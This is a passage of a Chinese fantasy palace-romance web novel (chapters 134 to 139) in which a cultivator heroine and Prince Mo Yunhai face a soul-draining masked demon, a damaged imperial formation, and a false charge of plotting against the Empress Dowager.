“殿下,这是什么东西?”
墨少泽没解释,劫后余生的声音还有些抖,
“去把那具干尸处理掉。此事,不得向任何人透露。”
小江子自然清楚在这皇宫中多一事不如少一事,可还是忍不住劝道,“殿下,那怪物万一再来怎么办?不如我们将干**给御林军,让他们加紧防御。”
墨少泽摇了摇头,眸色清冷的看向怪物离开的方向。
“他很熟悉皇宫的布置,否则也不会来这种偏僻的地方吸食宫人,这说明他在宫中绝非一朝一夕,御林军是否知情,这怪物背后又是否藏有更大的秘密,你与我,都没这个命去查。”
燃烧着的纸灯笼彻底没了火苗。
周围再次陷入一片黑暗,只有淡淡的月光倾泻而下。
照在那具死状诡异的干尸上,更显恐惧。
小江子赶紧去杂物间找了个铁锨出来,就地挖了个坑,将干尸推了进去,只期待着今晚能安稳渡过,等明日朝见过太上皇,他们就可返回别院。
回到殿内的墨少泽,却再无半点睡意。
他刚刚清晰的感觉到,是那道符救了他的命。
否则今晚,他必死无疑。
后背被冷汗浸透,此刻透着冰冷潮湿。
**,那怪物是无意闯入,还是故意为之在他的殿中**。
可此事一出,他怕是再难安稳度日。
……
坤宁宫的内殿。
细微的异动,还是惊醒了浅眠的太后。
桂嬷嬷守在门外并未进来。
太后拿着一盏油灯缓缓走进暗室。
扑面而来的血腥味让她不由皱起眉头。
看着角落里满身狼狈的男人,她冷声开口。
“哀家出事,却寻不到你。你去了何处?怎么弄成这副鬼样子?”
第134章 孽缘深厚
男人仓皇戴上了面具,挡住了丑陋的符文。
低哑的声音透着躲避抵触。
“我没事。”
太后居高临下的看着他,片刻后问,“是谁伤的你?”
男人低着头,面具之下的眸子,透着嗜血的疯狂。
“我会找到他,然后将他**万段。”
太后嗯了一声。
“皇陵护山大阵出了问题,其内九龙阵也被破了,太上皇定会来求哀家,到时你要给哀家好好修复。”
面具男缓缓握紧双手没说话。
太后愠怒。
“你做不到?”
面具男猛地抬起头。
赤红的眼睛盯着太后那张几乎看不到皱纹的脸。
“我要快速恢复功力,需要吸食一百个活人的性命。”
太后眼中的不悦散去。
“区区百人而已,别闹出太大动静即可。”
说完拿着灯盏就准备离开。
面具男忽地问,“云水宫里住着的是谁?”
太后停住脚步疑惑地侧头看向他。
“云水宫?哦,今夜皇帝的四子墨少泽宿在其中。”
她眸色微凛。
以为面具男要吸食墨少泽的性命,顿了稍许,并未阻止。
“一个下等宫女与皇帝醉酒后生下的孽种,你若喜欢,那便随你。”
无限的纵容让面具男赤红的眼底掀起晦暗隐忍的风暴。
随着暗室的门被重新关上。
面具男发出低哑如乌鸦般的鸣叫。
胸口红光闪烁,周身的黑气一点点加深。
他裂开嘴无声的笑了起来。
能伤他至此的,除了诸葛门门人,再无其他可能。
慕容嫣嫣已经**。
诸葛门也早就遁世,难寻踪迹。
他原以为复仇无望。
没想到,诸葛门的人竟然来了京城,再次打乱了他的计划。
还真是孽缘深厚。
不过也好,宝物已经被送至皇宫,他有的是法子拿到。
只要吸足百人,再借皇陵的龙气催生。
他的魔功定能大成。
到时候,这世间再无人能挡的住他。
至于藏匿在京城中的诸葛门人。
他要这群自诩光明的人,永坠黑暗。
……
江清婉醒来的时候,已经临近第二天的正午。
她睁开双眼看着四周陌生的环境,皱了皱眉。
身体的疲乏已经恢复,可修为的耗损却是极大,以至于丹田发出阵阵的酸胀刺疼,极不舒服。
紧闭的房门外被爪子挠开。
红狐狸欢脱的窜了进来。
那条伤腿已经好了大半,摇晃着大尾巴冲到了床边,四肢并用的往床上爬,爬到一半就又被人提溜起来,毫不客气的丢了出去。
“再有下次,本王扒了你的皮做成披风!”
他话刚说完,腰上就挨了一脚。
“谁准你欺负小红!”
墨云寒被踹的无比委屈。
转头看着半躺在床上,招手将红狐狸叫过去一阵揉的女人,气的心口发酸。
“本王还比不得一只狐狸?”
江清婉斜了他一眼。
“你是凡人,拿什么跟魅惑人心的男妖比?”
墨云寒被揶揄的俊脸泛红。
休整的一夜,他的脑子已经彻底恢复过来。
此刻满肚子的问题要问,身体挪了挪也想坐在床边。
红狐狸显然看出他的意图,屁股一歪,将整个床边全部占满。
顺势得意洋洋的朝他扬起脑袋晃了晃,带着一种“你能奈我何”的猖狂。
墨云寒眯了眯黑眸。
相处半日,他虽确定此狐不能化形,可这狐狸,绝非一般禽类。
定能通人言。
他索性退开半步,环抱双臂凉凉开口。
“你再争宠也无用,她是本王的王妃,日日夜夜,也只能睡在本王的塌上。”
“咳!”
江清婉差点被这话呛死。
“墨云寒,你不要胡说八道。”
男人却摊了摊手。
“你说的,我若勾你,你不一定把持的住。鉴于昨晚你救我性命,本王恩准你不必违心把持,尽可随心所欲。”
江清婉半张着小嘴,一时之间都不知道该说什么?
总觉得从山洞内出来,这男人的脑子就疯掉了。
她连续深呼吸了几下才道,“墨云寒,你到底在玄灵山上看到了什么?”
墨云寒抬手指向小红。
“我看到了它变成了一个身姿曼妙的女人。”
江清婉……
“所以,你就生扑过去,坠了崖?”
她忽然觉得,自己耗费了那么多修为救他,实在是浪费。<
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br>就该让这色心包天的狗东西烂死在山洞里。
墨云寒的眸子落在她白净的脖子上,即便涂了药膏,上面的掐痕依旧明显。
他忽地正色道,“江清婉,这世间没有妖,对不对?”
江清婉怔住。
她忽然间似乎明白过来,为什么墨云寒会这么执着于妖这件事。
难道他已经知道了镇妖的真实作用?
这时门外有卫兵躬身行礼。
“殿下,饭食好了,您是移步厅外,还是在房内用膳?”
墨云寒依旧盯着江清婉,声音淡淡。
“端进来吧。”
“是!”
几个卫兵很快在屏风外布菜。
江清婉有些着急。
“我们已经回京了?”
昨晚下山,她心神俱疲,没到半路人就昏睡了过去。
墨云寒解释。
“这里是护灵卫的军营,军中无女子,我让人去山下的村舍找了些干净的衣服,你先将就穿着。”
见还在玄灵山,江清婉松了口气。
“吃完饭我还要去玄灵山看一看。”
她拿过衣服,拍开还赖在床上的红狐狸,放下了床幔。
曼妙的身影模糊的从薄薄的床幔透出来,红狐狸兴致勃勃的趴在床边,将大脑袋搁在床沿上,尾巴摇的像条狗。
正看得起劲,下一刻就被提溜起脖颈处的皮**丢了出去。
它气的龇牙咧嘴的意图告状,墨云寒却挡在前面,将江清婉的身影挡的严严实实,抬手冷傲的做了个抹脖子的动作。
红狐狸收起委屈巴巴的样子,眯着大眼睛,呲着牙,杀气腾腾。
一人一狐沉默对峙,又在床幔被掀开的瞬间,全都恢复如常。
粗布麻衣穿在江清婉身上,少了几分娇俏,多了几分温婉妇人的美感,别有一番味道。
感受到男人过分炙热的目光,江清婉不自在的扯了扯衣摆。
“你看什么?再看眼睛给你挖下来喂小红。”
红狐狸闻言拼命晃动着脑袋无比期待,连舌头都伸了出来。
墨云寒错身将它的大脑袋挤开。
硕长身形,挡了个严严实实。
俯身低语,声音温柔中透着几分半真半假的戏谑宠溺。
“王妃美色,还不许本王看上两眼,这是哪来的道理?”
第135章 本王很欢喜
屏风外几个卫兵听得面红耳赤、目瞪口呆。
这还是传闻中厄运缠身、冷血无情、茹毛饮血的那尊煞神吗?
竟然这般浪荡风流,怪不得会强抢朝臣的娘子据为己有。
倒是不知这位九王妃是何等绝色。
昨晚九王爷抱着一女子闯入军营的事早就在护灵卫中传来,可没有人看清那女子的长相。
几人伸长了脖子等着。
江清婉羞恼的瞪了墨云寒一眼,带着小红走了出来,一抬头就撞上几双直勾勾的眼睛,顿时惊了一下,却又很快恢复如常,随意的坐在圆桌前夹了块肉喂给小红。
护灵卫中除了几个采买能够定期下山,其他人是不准离营的。
他们常年不见女子,如今一个水灵灵的绝色美人出现,虽未施粉黛,身着布衣,可如凝脂白玉的一张小脸,却足以惑人心魂。
咕咚!
咽口水的声音异常的响亮。
紧跟着走出来的墨云寒听得真切,瞬间黑了脸。
“都活腻歪了?”
几个卫兵仓皇回神,有的行礼有的磕头,手忙脚乱连滚带爬的窜飞出去。
红狐狸歪着脑袋乐。
爪子毫不客气地去扒拉酱牛肉的盘子。
江清婉抬起筷子不轻不重的敲了上去。
“少吃些,不利于修行。”
红狐狸哀怨地呜咽着撒娇。
江清婉不理他,抬头看向落座在对面的墨云寒。
“赤森回去了?”
“你管他作甚?”
男人声音冷硬,态度极不好。
可却拿着筷子夹了个白胖的肉包子放在了她的碟子里。
“刚刚你说要再去一次玄灵山,去做什么?”
江清婉往外看了眼,没见到赤森的影子,猜测他已经回去复命。
“九王府被封的事你知道了吧?我答应皇上,修复好护山大阵,这是来救你的条件。”
墨云寒握着筷子的手猛地一僵。
黑沉的眼底又阴了几分。
“哼,他倒是会难为人。这护山大阵始于何时,源自何人之手,早已无处追溯。你不必理会,阵是本王破的,无需他人为我承担责任。”
江清婉盯着他看了一会。
继续不紧不慢喝着手里的汤。
那个白胖的肉包子早就进了小红的嘴。
她只当没看见,喝了半碗后才淡淡道,“墨云寒,布阵之人与给你种下镇妖之人应是同一人。”
“你说什么?”
墨云寒霍地站了起来。
忽又想到什么,俯身压近。
“也就是说,谁能修复护山大阵,谁就是害我之人,对吗?”
他眼底旋着的杀意,肆虐偏执。
让江清婉的心都跟着一惊。
这一瞬,她仿佛看到了从地狱里爬出来的修罗,将会血洗整个大周。
她下意识抬起手,捂住了墨云寒的双眼。
强压着如擂鼓般的心跳,沉声解释,“我也能修复这座大阵。墨云寒,给你种下镇妖之人,或许不是害你,而是想护你性命。”
墨云寒没有躲。
由着她捂着他的双眼,闻言冷冽的勾起薄唇。
“护我性命?”
“你知道本王为何执着于妖吗?因为本王的母妃,曾当众化妖而去。因为本王自幼便是半妖之体,视为灾祸。本王全身的鲜血被一次次放出,在无数个阵法中艰难活到现在。”
“在你之前,本王寻过很多天师,也有人曾看出我体内藏了东西,那东西让我活不过今年。而你告诉我,那东西叫镇妖。”
“护我性命?它便是这般护我性命的吗?”
这是第一次,江清婉看到墨云寒的失控。
掌心传来潮湿的触感。
烫的江清婉心里有些发疼。
她曾听人评论。
大周九王,血染沙场,震慑边疆,立下赫赫战功,只可惜……
只可惜后面,便是欲言又止的摇头。
是厌弃,是畏而不尊。
是从心底里无法接受的抵触。
哪怕这人护了他们和平周全。
她深吸一口气,声音清洌平和。
“墨云寒,我并非故意骗你。护山大阵会吸收血祭之人的生机,在山洞内,你的生机已被吸收的所剩无几。害你双腿痛不欲生的东西也在餐食你的生命,可镇妖,在护着你。”
墨云寒急促的喘息着。
忽地抬手将江清婉的小手拉下,一双潮红的眼睛,漂亮的令人心悸。
“我体内,还有旁的东西?”
江清婉点点头。
“镇妖很复杂,我无法解释你是不是半妖这件事。但眼下,平了私闯玄灵山、勾
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结大隋余孽意图残害太后的罪名,才是最紧要的。”
“至于其他,我会想办法。”
她疼惜地反握住男人修长的手指。
“即便你真的是妖哪又如何?你若不愿留在人间,我带你走。”
自入玄灵山,墨云寒所有的茫然忐忑无助在此刻终于尽数消散。
眼底猩红的暴戾也已经隐去。
凉薄的唇角,甚至还噙了一丝浅淡的笑。
“王妃的坦诚,本王很欢喜。”
江清婉怔了怔。
猛地意识到自己被耍,气的想抽回自己的手,奈何力量悬殊,根本抽不动。
四目相对,男人眼中的侵略性危险又致命。
她决定了。
等将来离开京城,定要带这厮回祁连山,还要将他所有的钱一并卷走,打造一座漂亮的金色笼子,将他关在里面。
日日让他变尾巴出来给她玩,敢不变,就用小鞭子抽他。
抽的他这双漂亮的眼睛掉下泪珠儿,期期艾艾的求她,跟她撒娇!
墨云寒被她突然怪异的眼神盯得浑身发毛。
忍不住伸手捏住了她的下巴。
“你这眼神……在肖想什么?”
“当然是肖想你!”
直白到露骨的话让墨云寒的耳尖爆红。
他迅速松手坐了回去。
这女人,说让他一年之内禁欲,却还敢如此大胆的肖想他!
心火燥热的蔓延四肢。
他忙转移话题。
“想看护山大阵,不必再跑去玄灵山,护灵卫内就能看。”
吃过饭,墨云寒带她去了护灵卫营地内的守阵坛。
也就是当年护山大阵起阵的地方。
窜动的灵气,在守阵坛中流动。
其上闪烁着金色的符箓,映射出天宫八阵。
而这结阵的手法……
江清婉看的脑袋一阵发蒙。
这怎么会是诸葛门的独有手法啊。
难道这护山大阵是诸葛门人设的?
有这本事的,怕也只有师父一人。
可师父为什么要给大周的皇陵设护山大阵?
他不是最讨厌门人插足朝堂涉足红尘的吗?
难道大周的皇陵中有什么了不得的东西,不得不让他破了戒?
她抬头看向墨云寒。
“我能去皇陵看看吗?”
第136章 踏皇威
墨云寒挑了下眉。
“你要提前祭祖?”
江清婉一时间没反应过来。
等回神后忍不住白了他一眼。
“我是想看看皇陵里到底有什么宝贝,值得这么大阵仗。”
墨云寒对宝物并不敢兴趣。
稍作回忆后道,“没什么特别的,父皇曾说过皇陵最深处有九龙阵,关联着大周的龙脉国运,想必大隋余孽为的就是这个。”
江清婉了然。
“怪不得皇帝急眼,我能去看看吗?”
墨云寒刚要回答,外面忽然传来熙攘声,显然是出了事。
二人立刻走了出来。
就见夜七正与人争论。
江清婉诧异。
“夜七,王府解禁了?”
夜七立刻推开拦截的卫兵上前行礼。
“王爷,您没事太好了,府中出了大事,您和王妃快些回去吧。”
三日未到,皇帝不可能言而无信。
江清婉实在猜不到还会出何事。
而且,以赤森的脚程,应该也已经回了皇宫。
既然墨云寒无事,皇帝就算要为难九王府,也定然要等他们回去,绝不可能提前动手。
她沉声问道,“你说清楚些,到底怎么了?”
夜七急的额头都冒了汗,也顾不得场合了。
“小少爷在护国寺中被抓,罪名涉嫌谋杀太后,还说……还说此事皆有王妃指使。本已解禁的王府,再次被封,燕云青亲自带队前来玄灵山缉拿王妃,这会儿怕是快到了。”
他话音刚落。
又有卫兵匆匆而来。
“副将大人,御林军前来宣旨!”
周围护灵卫的副将和几个千户,全都虎视眈眈的看向墨云寒三人。
刚刚夜七的话他们听的一清二楚。
夜七警惕的拔出长剑,却被江清婉拦下。
“我没做过的事情,不怕对质,九王府既已染了嫌疑,此刻动手,只会让事情变得更糟。”
副将上前拱手一礼。
“王妃大义,我等身份卑微,武功更是不能与九王殿下相提并论,还请王爷王妃莫要为难我们。”
几个千户带着周围的卫兵也跟着行礼摆明了态度。
而此时,燕云青已经带着御林军的人冲了进来。
看到墨云寒也在,燕云青拱了拱手。
“见过九王殿下。”
说完直起腰将皇帝的金色令牌高高举起。
“宣皇上口谕,缉拿疑犯江清婉,即刻入宫不得有误,阻拦者,以谋逆罪就地论处。”
他身后的御林卫已经拿出了沉重的铁镣铐。
夜七气急。
“事情还未有定论,燕统领就着急用刑具,是否太过羞辱人!”
燕云青黑沉着脸冷哼一声。
“你要抗旨?”
夜七被噎住。
他不怕死。
可不能连累九王府。
江清婉轻叹了口气。
“我一介女流,又跑不了,这刑具就免了吧,我跟你们走便是。”
她说着上前一步。
燕云青却微微抬了下眸子。
身侧侍卫立刻将手中镣铐丢了过来。
砰的一声砸在地上,其上朱砂描绘的符咒,一览无余。
“皇上知道你会些玄门道术,这镣铐是专为你准备,请吧。”
小红呲着牙窜了出来,冲着燕云青嘶吼着。
一支羽箭破空而出,直刺红狐狸的面门。
下一刻却被人徒手接住,反手一掷,只听人群中惨叫一声,一个御林卫应声倒地,胸口就插着他刚刚射出的那把羽箭,没了气息。
所有御林卫全都举起了武器。
墨云寒散漫的拍了下衣袖,转身挡在江清婉和小红前面,深邃狭长的黑眸睥睨的看向对面。
“本王的王妃,也是你们能欺负的。”
燕云青的手缓缓握紧了剑柄,眼中杀气森冷。
“九王殿下,你要公然抗旨吗?”
墨云寒低头看了眼脚边的铁镣铐,很轻很轻的笑了一下。
“本王抗了,你又能奈我何?”
尾音轻挑,眸子已经抬起。
嗜血的杀戮尽显无遗。
“杀我吗?那要看你有没有这个资格!”
他掌心内力凝聚,护灵卫副将腰间的佩刀便飞到了他的手中。
江清婉伸手拉住他的袖子。
刚要劝,却听他淡淡开口。
“本王不死,这世间便没人能要你的命。这是本王给你的承诺,永远作数。”
刀身嗡鸣,下一刻,墨云寒猛地抬手挥出。
强悍的内力化作无数刀剑横扫而去。
前方御林卫惨叫声此起彼伏。
等气阵散去,唯有燕云青还站在原地。
只是脚步也退了半步。
手中长剑杵在地上,显然是全力抵挡。
此刻他心中已经掀起惊涛骇浪。
三个月前,他曾在皇宫的演武场跟墨云寒交过手。
二人拆了百招,未见胜负。
那个时候的墨云寒绝没有现在的功力。
怎么会在短短三个月内,变得如此恐怖。
他压下胸口翻滚的气血。
“九王,你今日这般行为,要如何跟皇上交代!”
墨云寒将刀丢在地上,反手牵起江清婉的小手。
“本王要如何交代,与你何干!”
“若本王要杀太后,直接冲进坤宁宫杀了便是,还需拐外抹角做这些麻烦事?”
“郑成业所言,本王会陪王妃亲自面圣,谁再敢靠近,本王绝不留他性命!”
踏着所有人惨烈的叫声,他牵着江清婉径直走了出去。
小红紧随其后,临了还在那个丢出镣铐的御林卫脸上抓了一把解气。
夜七也觉浑身舒畅,故意冲燕云青抱了抱拳。
“燕统领,好好练着,莫要丢了你大周第一高手的尊称。”
说完提剑跟上。
燕云青本就被刚刚的内力震得血脉逆行,此刻被气的差点一口鲜血喷出来。
他强行压下,死死攥着金色令牌。
也不知是不服还是提醒。
“如此莽撞行事,早晚会出大祸端。”
……
京城内,
几家欢喜几家忧。
九王府内残云密布,苏玉兰的县主府却是喜气洋洋。
苏玉兰一改之前的态度,亲自炖了参汤端到了床榻前伺候。
“明朗,太后亲赏了你大理寺代司正的官职,只要政绩考核合格,便是正二品,这一次我们总算可以扬眉吐气了。你真是给我长脸。”
秦明朗受伤不轻,大爷一样靠在软枕上享受着。
“听说九王府被封了?”
提到此事,苏玉兰更加得意。
“我早就说了江清婉那个女人心术不正,竟然因为云筱然入府心生嫉妒,用些不入流的手段勾结逆贼谋害太后,真是不知死活。九王绝对不会为了这么一个女人跟皇上闹翻,她死定了。”
思及此,她忽又伸手拧了一下秦明朗。
“你要是敢帮忙,我跟你没完。”
秦明朗眼中浮现不耐,敷衍着摆了摆手。
“九王都护不住她,我能做什么?再说了,她也不配。”
这话哄的苏玉兰眉开眼笑,娇媚的扎进他怀里。
秦明朗一手揽着她,眼底却满是算计。
等那女人入了天牢,他一定去她面前好好让她看看,她愚蠢的选择最后落得什么下场。
第137章 温柔亦凉薄
九王府,风雅筑内。
云筱然半躺在贵妃椅上,正吃着葡萄。
李嬷嬷低头走了进来,屏退了其他丫鬟后低声道,“县主,宋夫人已经急火攻心吐了血,您不去瞧瞧?”
云筱然冷哼一声。
“瞧什么?她心里向着江清婉那个扫把星,这就是报应。”
李嬷嬷不放心的劝道,“可这事必然会连累到王府,若是……”
云筱然却丝毫不慌,随手将盛着葡萄的琉璃盏丢给她,悠然的坐了起来。
“急什么?太上皇不死,这九王府就塌不了天。”
“我就是要让墨云寒看清楚,他选的那女人究竟会给他带来了什么样的灾祸?等适当的时候,我会去太后那里求情。”
“至于郑成业扛不扛得住刑罚,那就不是我能控制的。最好打死了,把这责任背在江清婉身上,让墨云寒亲手杀了她!”
一想到这个结果,她就忍不住癫狂般大笑起来。
李嬷嬷急忙制止。
“县主,老奴对外声称您忧心王爷起不得身,样子还是要装一装的。”
云筱然不爽的甩了下袖子。
“再去探,江清婉被押入皇宫时,本县主要即刻去求见太后。”
……
江清婉还在回京的路上。
递到墨云昭桌案上的折子就已经有十几份。
他随意扒拉着看了看。
都是些言官冗繁的陈词,夏宇更是连续上了三份折子,字字血泪皆怒指九王府的罪行。
甚至还搜集了些江清婉懂玄门道术的证据,其中一张就是秦明朗父亲呈表的供词,可信度极高。
墨云昭盯着他折子里最后一句。
“恳请皇上顺应天道,诛邪灾祸,护卫大周百世绵长。”
他的手指一下一下敲着桌面。
御书房殿外,他的贴身太监总管脚步匆匆的躬身走了进来。
墨云昭立刻抬头。
“如何了?”
总管太监摇了摇头。
“太上皇还是那句话,您是大周的皇帝。”
“啪!”
墨云昭狠狠的将手里的奏折摔在了桌案上。
“又是如此敷衍朕,真当朕怕了那枚虎符吗?”
总管太监吓得跪在地上。
“皇上息怒,九王殿下终归是您最疼爱的幼弟,一时为情所困,犯了错,您打骂教训便是,莫要伤了龙体。”
墨云昭起伏不定的胸口缓缓沉了下去,又重新拿起一份奏折随意翻开,却并未看上面的内容,儒雅的面容上带着几分冰冷的杀意。
“未行礼祭祖,那江氏,还算不得皇家媳。”
……
两匹快马,三人一狐。
临近京城的时候,墨云寒拉住了缰绳。
猎鹰嘶鸣一声扬起前蹄,随即晃动了一下马头。
鬃毛顺滑晃动,如一只准备迎战的黑色雄狮。
墨云寒眸色冷厉的看着不远处的城门。
这一路他想了许多,从让他去调查金钩弯刀的匪患,事情便是一环扣着一环。
他原先以为,是墨云昭扛不住太后威压,借此将他支开,好趁机让云筱然入府。
可到了如今,这所有矛头针对的都是九王府。
演了这么多的兄友弟恭,表面的浮华平和,终于是要破了。
身旁夜七凑近低语。
“王爷,暗卫营已经准备就绪,苏掌柜也通过淮楼散出消息,若皇上真要动您,我们就反给他看。”
江清婉皱了皱眉。
一路颠簸,她双腿疼的厉害。
好在腰能靠着墨云寒,倒是影响不大。
否则这会儿身体都能散了架。
她抱着小红仰起头看向墨云寒。
“是为了我,还是其他?”
男人回神低头,黑沉的眸子略有不解。
“你想说什么?”
江清婉移开目光,看向城门口进出的百姓。
“若为我,大可不必。此事还没到血流成河的地步。若为其他……墨云寒,别拿我当借口,这个孽债,我背不起。”
她的声音很柔和,可又说不出的凉薄。
夜七听得有些不舒服。
“王妃,王爷自然是为了你。燕云青深得皇上信任,今日之事,他定会告状,而且王爷跟御林军已经动了手,此事本就无法善了,我们必须早做……”
墨云寒却抬手制止他继续说下去。
随即探身将窝在江清婉怀里的红狐狸提起丢给了他。
“此事听王妃的,所有人按兵不动,等本王消息。入城后,你不用跟了。”
他说完双腿一夹马腹,猎鹰扬蹄而去。
夜七手忙脚乱地接住红狐狸,心急如焚。
“王爷,您不能就这样入宫啊。”
一直不远不近跟着的燕云青已经踏马而来,经过他身边的时候并没有为难他。
只是停住马瞥了他一眼。
“公然抗旨已属忤逆,你还准备带上兵马随九王杀入皇宫不成?”
被说中心事,夜七气的干瞪眼,却又不能反驳。
只能眼睁睁看着燕云青带着大批御林军紧跟着猎鹰入了城门。
城门口数个探子看的真切,当下隐在人群中,去汇报各自的主子。
墨云寒扫了一眼,缓缓放慢速度。
“你知道这座京城,有多少人希望本王死吗?”
两个人贴的很近。
江清婉能清晰的感觉到他气息的压抑。
他在生气。
可她有她要遵守的原则。
轻抿了下唇,没有说话。
头顶又传来低沉的笑声,极尽张扬,又极尽讽刺。
“从本王出生,便有无数人想要本王死,那时本王只是一个任人宰割的孩童,可你知道本王为什么没死吗?”
即便有太上皇力保他一条命,可在吃人不吐骨头的皇宫,想弄死一个婴儿,轻而易举。
江清婉依旧没有回答,只是心口莫名扯得有些疼。
头顶的声音收了笑,透着几许自嘲。
“其实本王也不知。京中无数双手比战场上的刀剑斧戟更难抵挡,可本王却活到了现在。江清婉,你说,是本王难杀,还是他们另有所图?”
江清婉的心头一紧。
从初次见墨云寒,她就知道,这个男人绝不是暴戾的莽夫。
她抬手,轻轻握住了身前牵着缰绳的那只大手。
“我师父曾说过,人心若生出贪念,便如阿鼻地狱的无尽深渊,永不会消融,所以真相,一定会出现。”
墨云寒反手牵住她。
“云天机说的?”
怀中身体僵了僵。
“快走吧,你那表弟身子孱弱,若扛不住刑罚,会出事的。”
墨云寒低低笑了笑,没再追问,拉紧缰绳,加快了速度。
半个时辰后,猎鹰停在了宣武门前。
御林军手拿长枪横挡在前面。
墨云寒坐在马上,居高临下的看着他们身上的金色铠甲。
“连皇兄的御用亲卫队都用上了,真是好大的阵仗!给本王让开!”
他话音刚落,弓箭拉动的咯吱声就在左上方响起。
宫墙哨岗处立着一排同样身穿金色铠甲的人,手持长弓,已经拉满。
态度很明显。
若有异动,格杀勿论。
第138章 情咒
燕云青也已经跟近。
“九王殿下,你真要为了一个女子,武力闯宫吗?就算殿下不惧,九王府满门抄斩的责罚,您也不担心吗?”
皇权威威,能压一切。
墨云寒护不住所有人。
马蹄声越过他们。
燕云青来到他们身前,从马鞍山取下带着符箓的铁镣铐。
“江氏,请吧。”
江清婉感觉到墨云寒周身骇人的气压,揽着她的那条手臂,绷的很紧。
她抬手轻轻拍了拍,随即看向燕云青。
“龙牌现在是不是没用了?”
燕云青抬着铁镣铐的手并没有放下,闻言淡淡回了句。
“除了皇上,无人可要你性命,至于其他,无用。”
谋害太后,动摇国本,这是大罪。
眼下,只有戴上镣铐自入皇宫谢罪这一条路。
江清婉撇了撇唇角。
“那就有请燕统领前去告诉皇上,护山大阵我已经修复,问问他,到底是杀我一人重要,还是大周龙运重要。”
在护灵卫军营中。
墨云寒带着她去看守阵坛的时候,她听卫兵提了一嘴。
乌鸦化人,入了皇陵之内。
她虽没来得及亲眼一看,可她赌,墨云寒入玄灵山能让皇上如此动怒,绝对跟国运有关。
若如此,他在意的就绝不仅仅是护山大阵。
至于郑成业的说辞,她没做过,自是不怕。
燕云青跟随皇帝多年,其“云青”之名还是皇上所赐,奖赏他救驾有功。
他虽不似总管太监日夜陪伴,可皇上的心思,却也能摸个七七八八。
片刻后,他将镣铐重新挂在马鞍山,翻身下马,什么都没说,径直入了宣武门。
江清婉抬头看向墨云寒,眸色清冽纯净,并无半点紧张惧怕。
“告诉你一件事,你入玄灵山时,我与人斗了一场。”
墨云寒没有听懂,却也从剑拔弩张的气氛中稍稍抽离,嗓音低沉的问了句,
“斗什么?”
“斗法。”
江清婉颇有些得意的扬起小脑袋,娇憨灵动。
“我赢了,他败的很惨。”
墨云寒的心尖微颤。
“他是谁?”
江清婉抬手指向威威宫墙。
“里面那个。”
墨云寒愣住,片刻后闷笑出声,抬手轻轻捏了下她的小脸。
“你竟能赢?”
江清婉不爽的拍开他逾矩的手。
“告诉你,是想让你知道,我答应你的事,绝不会失言,你只需信我便是。”
一切如她所料。
燕云青进去没多久,就有个小太监拿着令牌走了出来。
冲着墨云寒躬身行礼。
“九王殿下,您可以带王妃进去了。”
猎鹰硕大的鼻孔喷出热气,抬脚踏进宣武门,一路疾驰,停在了御书房外长长的石阶前。
这一路,十步一岗,重兵把守,全换了墨云昭御用的金甲侍卫。
墨云寒固执的牵着江清婉拾阶而上。
御书房的殿门打开。
里面跪着一人,正是郑成业。
他穿着儒衫,全身上下并无任何外伤。
精神硕硕,也不见疲惫萎靡。
在看到江清婉后,立刻指着她怒声控诉。
“你这个害人精,竟骗我前去护国寺送信,给那群逆贼引路,差点害死太后娘娘。”
他说着又看向墨云寒,慌慌张张的从怀里摸出之前江清婉解卦的纸。
“表哥,我有证据。这是那女人从你房间里偷出来的,上面标注的位置,就在玄灵山附近,她还写了符箓咒语,结果皇陵就遭逆贼闯入。”
“表哥,你是大周的战神,是护卫大周的英雄,怎么能留这种吃里扒外的叛贼在身边,污了一世英名。”
他言辞凿凿。
江清婉盯着他看了一会,确定他并没有被任何人操控。
所言皆是从心。
她暗暗叹了口气。
原以为这小孩只是不喜她,却没想到,为了撵她走,竟能当堂说出这样的胡话。
她忍不住摇头。
“郑成业,为了逼我离开王府,你连你母亲的性命都不顾了吗?”
郑成业怒喝。
“此事与我母亲何干,我只是要揭穿你的真面目而已。皇上定会辨明是非,狠狠治你的罪,还王府清净。”
“胡闹!”
墨云寒冷斥一声。
吓得郑成业浑身哆嗦了一下。
“表哥,你不要再被她迷惑,她是反贼啊。”
墨云寒气的胸口生疼。
“你都在太学院学了些什么?立刻滚回王府,去见你母亲。”
一直没说话的墨云昭却淡淡开口。
“小九,成业已不是孩童,事关太后,事关玄灵山,朕不能不问。”
“江氏,朕在等你的辩解。”
江清婉有些无奈。
关于那份卦纸,她没法说。
若解释了,便是将淮楼暴露。
而苏柳儿与大隋余孽有交集,一旦查明,更会将这私通外敌的罪名扣在墨云寒的头上。
可若不解释,玄灵山的位置又太过巧合。
她略作沉思,抬眸回道,“那夜,云县主入府为姨娘,张灯结彩,甚是热闹。我身份本就低微,又曾嫁过他人,虽承蒙王爷垂怜,坚持娶我为正妃,可我心惶恐,惴惴难安,随写了符箓情咒,只愿王爷莫要因为新人对我失了恩宠。”
“至于上面标注的位置,是因我知王爷要去玄灵山,才选了最佳祈福位置,祈求王爷平安。”
话音刚结,郑成业就急了。
“你在说谎,当时我撞破你鬼鬼祟祟,想将此物交给一女子传信与外面,若不是我抢下……”
“既然已被你抢下,那就是未曾传信出去,皇陵出事又与我何干?”
江清婉的话噎的郑成业一怔,急赤白脸的喊道,“只要找来那女子对峙,一问便知。”
墨云昭沉声问,“江氏,那女子是谁?”
空旷的殿内,这声威压极重。
郑成业如抓到了把柄般略带了些得意。
“你不要不承认,她能入王府,定然有不少人看见,你不如实交代,王府中的门房下人也定会交代,肯定能将人揪出来。”
江清婉真的很想一巴掌呼过去。
这小孩,到底知不知道再挖下去,九王府要遭多大的罪责。
苏柳儿绝不能入宫。
她一咬牙,似下了万般决心。
“好吧,我如实交代。”
郑成业长松一口气。
只觉撵走江清婉这事已成定局。
他像是做了件天大的伟绩,挺直了脊背看向墨云寒。
心中有种护卫了英雄的骄傲。
可接下来,江清婉一开口,却是炸裂全场。
第139章 我带你走
“那是我请来的教娘,出身风尘,教授我房中之术。”
“噗!咳咳咳咳……”
墨云寒握拳抵着唇难以置信的看着她。
龙椅上的墨云昭也差点呛到。
江清婉却极为坦然。
“郑成业,你那日见她的时候,不也评论了一句光天化日袒露皮肉不知羞耻吗?”
经她提醒,郑成业回忆见到苏柳儿的场景。
晃眼细白的腰身,扭的风骚妩媚,的确不像是正经女子。
一想到江清婉竟然跟风尘女子学这等东西,用来玷污他心目中伟岸的战神,顿时气不打一处来。
“你……你怎地如此不要脸!”
他这般反应,让江清婉绷着的神经缓缓松了下来。
“我曾被秦家抛弃,如今再遇良人,却又因身份不得不接受夫君另娶姨娘暖床,我这也是为了多得恩宠,保住我的地位。要不然,如今日这般,你一个无知的少年郎三两句言语就能将我撵走。”
